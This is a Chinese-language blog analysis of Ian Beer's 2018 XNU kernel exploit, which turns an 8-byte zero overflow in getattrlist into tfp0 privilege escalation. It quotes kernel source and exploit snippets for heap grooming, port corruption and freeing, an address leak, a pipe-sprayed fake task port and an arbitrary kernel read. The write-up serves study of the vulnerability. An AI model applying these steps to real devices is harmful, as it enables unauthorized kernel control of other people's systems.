0x00.前言
憋了半天终于憋出来了…这是lan Beer在2018年写的一个Poc，利用的方式十分的巧妙，利用了很多巧妙的方式来提供成功率，如创建大量的闲置线程去抢占CPU，从而维护堆空间的稳定，虽然成功率只有50%(lan Beer said on Tiwtter)，但是其中对于仅仅溢出8个零字节的方式就达到提权的方式还是非常值得我们去学习的。
0x01.漏洞产生点
漏洞的产生点就在我们没有对于bufferSize的下界进行检查，所以我们可以传递一个很小的buffer
/*
* Allocate a target buffer for attribute results.
* Note that since we won't ever copy out more than the caller requested,
* we never need to allocate more than they offer.
*/
ab.allocated = ulmin(bufferSize, fixedsize + varsize);
if (ab.allocated > ATTR_MAX_BUFFER) {
error = ENOMEM;
VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
goto out;
}
MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);
但是溢出的数据是并不受我们控制的，至于为什么，我们来看一下函数原型就知道了：
static int
getattrlist_internal(vnode_t vp, struct getattrlist_args *uap, proc_t p, vfs_context_t ctx)
{
...
...
...
if (al.volattr) {
if (al.fileattr || al.dirattr || al.forkattr) {
error = EINVAL;
VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: mixed volume/file/directory/fork attributes");
goto out;
}
error = getvolattrlist(vp, uap, &al, ctx, proc_is64);
goto out;
}
从if的判断条件来看，al的volattr不为0之后，其他的三个属性如果不是0就会进入错误的分支，所以我们只能溢出8个字节的0，那么这个偏移是如何计算的呢，重点就在最后的bcopy函数了：
bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof(ab.actual));
这个地方我们最多只能溢出八个字节的原因是因为ab.actual的大小为0x14，sizeof(uint32_t)为4字节，所以最多只会溢出0x14+0x4-0x10=8个字节的数据，并且建立在buffer在kalloc.16的区间内。
接下来就是如何一步步通过这个溢出来达到提权的过程
0x02.漏洞利用
目前还没有对所有的细节看的非常清楚，但是lan Beer做的一连串的操作已经让我目瞪口呆了，我就从宏观上来说一下大概做了什么事情：
lan Beer采用的是tfp0的方式来实现任意地址读写，这意味着我们需要拿到一个拥有内核权限的端口，他尝试在内存空间分配了一连串的连续页面，形如下面的样子：
kalloc.16 | ipc_ports | kalloc.16 | ipc_ports …
这个时候我们在kalloc.16的那个页面上想要尝试做溢出，但是如果我们溢出到了freelist只会导致内核panic，那么怎样才能将我们溢出的8个字节控制到页面的边界，从而覆盖ipc ports的那个页面呢？
这里我们可以发现free list其实采取的是一种半随机化的分配方式：
| 9 8 6 5 2 1 3 4 7 10 | ← example “randomized” allocation order from a fresh all-free page
也就是说我们通过将页面里面的所有kalloc.16全部释放之后，free list就会reverse，那么重新申请的kalloc.16就是从free list的两边往中间扩散，如果重新申请kalloc.16的在页面的最右边，然后我们触发漏洞，就能将ipc port页面的前八个字节给覆盖成0，这个就是我们的目的：
| 1 4 - - - - - 5 3 2 | | 2 5 - - - - - 4 3 1 |
kalloc.16 ipc_ports
在反向的freelist中，如果我们从边界开始做溢出的话，很可能就会溢出到-，也就是free list中，所以我们会先剪去一个值，比如说我们从3开始做溢出，在溢出之后再申请一个内存占位，这样循环只会溢出到kalloc 16 chunk，或者到ipc ports，也就是我们希望达到的效果。这样一来就保证了我们的漏洞触发并不会崩溃，并且最后一定会溢出到一个ipc port，这里会出现问题的地方就是如果页面中间的内存没有分配，触发漏洞就会panic，就算我们剪去一个数也是没有办法百分百保证一定会成功的。
接下来就是把这个被覆盖的port给找出来，因为ip_object->ip_object->io_bits被覆盖为NULL，ip_active(port) 就会为false,那么调用mach_port_kobject 就会返回KERN_INVALID_RIGHT，根据这个特征我们就可以拿到目标端口的port name了:
err = mach_port_kobject(mach_task_self(),
candidate_port,
&typep,
&addr);
if (err != KERN_SUCCESS) {
printf("found the port! %x\n", candidate_port);
target_port = candidate_port;
break;
}
}
// Stop searching. We found the corrupted port.
if (target_port != MACH_PORT_NULL) {
break;
}
这中间其实lan Beer还做了很多操作去提升成功率，比如为ipc_kmsg的trailer构造free list来降低干扰等，感兴趣的可以去具体看一下lan Beer的poc，我这里就不多说了。
接下来我们拿到这个被覆盖了前八个字节的端口之后，接下来我们要将它释放掉，方便我们之后去重新布置上面的数据，但是由于它的状态并不是active的，所以我们需要寻找一种方式找到一个函数减少它的reference，并且这个函数不会做其他多余的事情，比如说仅仅返回一个状态码。
经过寻找之后可以定位到mach_port_set_attributes 这个函数上：
ip_reference(port);
ip_unlock(port);
...
...
// 因为"ipc_port->ipc_object->io_bits" 为 NULL, "ip_active(port)" 就是 false ，代码运行到else部分
if (ip_active(port) && (port->ip_requests == otable) &&
((otable == IPR_NULL) || (otable->ipr_size+1 == its))) {
...
...
...
} else {
ip_unlock(port);
// 这里减少了引用，这里的引用数就变成了0，如果继续深挖下去，最后会被"io_free"这个函数释放掉
ip_release(port);
it_requests_free(its, ntable);
}
//"ip_active(port) == false"并不是一个错误的情况，所以我们的返回值还会是KERN_SUCCESS
return KERN_SUCCESS;
}
端口被释放之后我们在页面中间找一个端口作为我们的canary port，接下来的目标就是用这个canary port来覆盖target port的ip_context字段，我们的做法是触发系统的GC(这是一个很精髓的堆空间操作)，然后把一个充满我们布置数据的页面来替换target port的那个页面。
如果上一步成功了的话，那么我们应该可以用mach_port_get_context 来返回canary port的地址：
kern_return_t
mach_port_get_context(
ipc_space_t space,
mach_port_name_t name,
mach_vm_address_t *context)
{
ipc_port_t port;
kern_return_t kr;
if (space == IS_NULL)
return KERN_INVALID_TASK;
if (!MACH_PORT_VALID(name))
return KERN_INVALID_RIGHT;
kr = ipc_port_translate_receive(space, name, &port);
if (kr != KERN_SUCCESS)
return kr;
//流程进入else
if (port->ip_strict_guard)
*context = 0;
else
//ipc_port->ip_context的值将会被直接返回给用户空间
*context = port->ip_context;
ip_unlock(port);
//这里并没有其他的安全性校验，直接返回了
return KERN_SUCCESS;
}
这里虽然我们用来覆盖的canary port只是一个port name，但是我们是通过OOL message发送到内核的，所以这个地址会自动被转换为canary port的ipc port的真实地址。
最后我们通过这个函数就可以在用户空间去拿到canary port的ipc port的地址了，剩下操作就比较显而易见了，如果我们有了一个受我们掌控的port。
因为之前占住target port的是ool message，我们再接受消息回来，空间被释放掉了，接下来申请一串pipe，来占住那个页面，而在这些pipe上布置的是我们布置好的fake port，其中fake task的地址指向的是离canary port那个页面0x10000(取决于内核页面大小)的页面，地址暂记为pipe_target_kaddr：
此时我们可以做一个小测试来看看target port是否被布置好的pipe buffer给替换了：
err = pid_for_task(target_port, &val);
if (err != KERN_SUCCESS) {
printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err));
}
//如果返回0x80000002就说明我们覆盖成功了
printf("read val via pid_for_task: %08x\n", val);
接下来我们想要找到创建出来的那一连串pipe中的pipe_target_kaddr对应的pipe的r/w接口是哪一个，从而控制fake task中的数据，所以我们可以写一个循环来找：
for (int i = 0; i < next_pipe_index; i++) {
if (i == replacer_pipe_index) {
continue;
}
read(read_ends[i], old_contents, 0xfff);
// 我们把想要找到的那个pipe读的值给修改一下，偏移+4
build_fake_task_port(new_contents, pipe_target_kaddr, pipe_target_kaddr+4, 0, 0, 0);
write(write_ends[i], new_contents, 0xfff);
uint32_t val = 0;
err = pid_for_task(target_port, &val);
if (err != KERN_SUCCESS) {
printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err));
}
printf("read val via pid_for_task: %08x\n", val);
//如果此时的返回值为0xf00d，说明我们成功的找到了那个pipe buffer的地址
if (val != 0x80000002) {
printf("replacer fd index %d is at the pipe_target_kaddr\n", i);
pipe_target_kaddr_replacer_index = i;
break;
}
}
拿到地址后，我们就可以准备任意地址读了：
prepare_early_read_primitive(target_port, read_ends[pipe_target_kaddr_replacer_index], write_ends[pipe_target_kaddr_replacer_index], pipe_target_kaddr);
void prepare_early_read_primitive(mach_port_t target_port, int read_fd, int write_fd, uint64_t known_kaddr) {
early_read_port = target_port;
// 通过这两个管道，我们就可以完全控制target port的fake task的值来进行任意地址读
early_read_read_fd = read_fd;
early_read_write_fd = write_fd;
// 这个就决定了我们的fake task地址
early_read_known_kaddr = known_kaddr;
}
下面我们就该canary port出场了，因为我们知道canary port的内核地址，所以如果我们向这个端口发送消息，消息的local port设置为mach_host_self()，那么这就意味着可以通过ipc_port.ip_messages.messages->messages[0]先找到kmsg然后再通过kmsg->ikm_header->msgh_local_port 找到我们的host port的ipc port地址！接下来我们也将通过同样的方式来找到我们的task port地址。
通过位运算定位到host port的页面开头，然后从页面的开头开始找kernel task port，然后就可以通过tfp0的方式达到提权，lan Beer的整个流程分析就到此结束了，但是其中还有一些细节没有完全的解释清楚，有兴趣的可以看一下他的poc，和我探讨一下。
0x03.参考链接
-
MacOSX Internals
